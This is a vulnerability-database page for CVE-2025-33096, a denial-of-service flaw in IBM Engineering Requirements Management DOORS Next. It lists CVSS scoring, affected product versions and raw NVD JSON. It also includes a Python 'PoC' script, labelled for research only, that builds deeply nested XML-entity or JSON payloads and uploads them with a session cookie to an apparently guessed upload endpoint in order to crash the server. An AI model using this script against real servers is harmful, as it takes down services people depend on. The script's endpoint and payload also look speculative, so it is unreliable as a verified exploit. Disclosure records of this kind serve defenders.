Security Vulnerability Report
中文
CVE-2025-33096 CVSS 6.5 MEDIUM

CVE-2025-33096

Published: 2025-10-12 14:15:37
Last Modified: 2025-10-16 14:37:47

Description

IBM Engineering Requirements Management Doors Next 7.0.2, 7.0.3, and 7.1 could allow an authenticated user to cause a denial of service by uploading specially crafted files using uncontrolled recursion.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Engineering Requirements Management Doors Next 7.0.2
IBM Engineering Requirements Management Doors Next 7.0.3
IBM Engineering Requirements Management Doors Next 7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-33096 PoC - Uncontrolled Recursion DoS via File Upload # Target: IBM Engineering Requirements Management Doors Next 7.0.2/7.0.3/7.1 # Description: Generates a crafted file with deep recursive nesting that # triggers uncontrolled recursion when parsed by the vulnerable application. import requests import argparse def generate_recursive_xml(depth=10000): """Generate an XML file with deeply nested entities to trigger recursion.""" xml_content = '<?xml version="1.0" encoding="UTF-8"?>\n' xml_content += '<!DOCTYPE root [\n' # Define recursive entity references for i in range(depth): xml_content += f' <!ENTITY entity{i} "entity{i-1}">\n' if i > 0 else ' <!ENTITY entity0 "recursive_content">\n' xml_content += ']>\n' xml_content += '<root>&entity{};</root>'.format(depth - 1) return xml_content def generate_recursive_json(depth=10000): """Generate a JSON file with deeply nested objects.""" json_content = '{"data":' for _ in range(depth): json_content += '{"child":' json_content += '"leaf"' for _ in range(depth): json_content += '}' json_content += '}' return json_content def upload_payload(target_url, file_content, filename, session_cookie): """Upload the crafted file to the vulnerable DOORS Next endpoint.""" headers = { 'Cookie': f'JSESSIONID={session_cookie}', 'User-Agent': 'Mozilla/5.0 (compatible; PoC)' } files = { 'file': (filename, file_content, 'application/octet-stream') } # Typical DOORS Next artifact upload endpoint upload_endpoint = f'{target_url}/rm/upload' try: response = requests.post(upload_endpoint, headers=headers, files=files, timeout=30) print(f'[+] Upload response status: {response.status_code}') if response.status_code == 500 or 'error' in response.text.lower(): print('[+] Server may have crashed due to uncontrolled recursion!') except requests.exceptions.RequestException as e: print(f'[+] Request failed (server may be down): {e}') if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-33096 PoC') parser.add_argument('-u', '--url', required=True, help='Target DOORS Next URL') parser.add_argument('-c', '--cookie', required=True, help='Session cookie (JSESSIONID)') parser.add_argument('-d', '--depth', type=int, default=10000, help='Recursion depth') parser.add_argument('-t', '--type', choices=['xml', 'json'], default='xml', help='Payload type') args = parser.parse_args() if args.type == 'xml': payload = generate_recursive_xml(args.depth) filename = 'malicious_recursive.xml' else: payload = generate_recursive_json(args.depth) filename = 'malicious_recursive.json' print(f'[*] Generated payload with recursion depth: {args.depth}') upload_payload(args.url, payload, filename, args.cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33096", "sourceIdentifier": "[email protected]", "published": "2025-10-12T14:15:36.540", "lastModified": "2025-10-16T14:37:47.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Engineering Requirements Management Doors Next 7.0.2, 7.0.3, and 7.1 could allow an authenticated user to cause a denial of service by uploading specially crafted files using uncontrolled recursion."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "6702EFCC-2FC7-48F3-9356-40033D147332"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.0.3:*:*:*:*:*:*:*", "matchCriteriaId": "0634040A-046B-4F1D-AD33-7095D68429C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:engineering_requirements_management_doors_next:7.1:*:*:*:*:*:*:*", "matchCriteriaId": "E44B30C9-5962-4994-A810-B0E04561EDD3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7247716", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}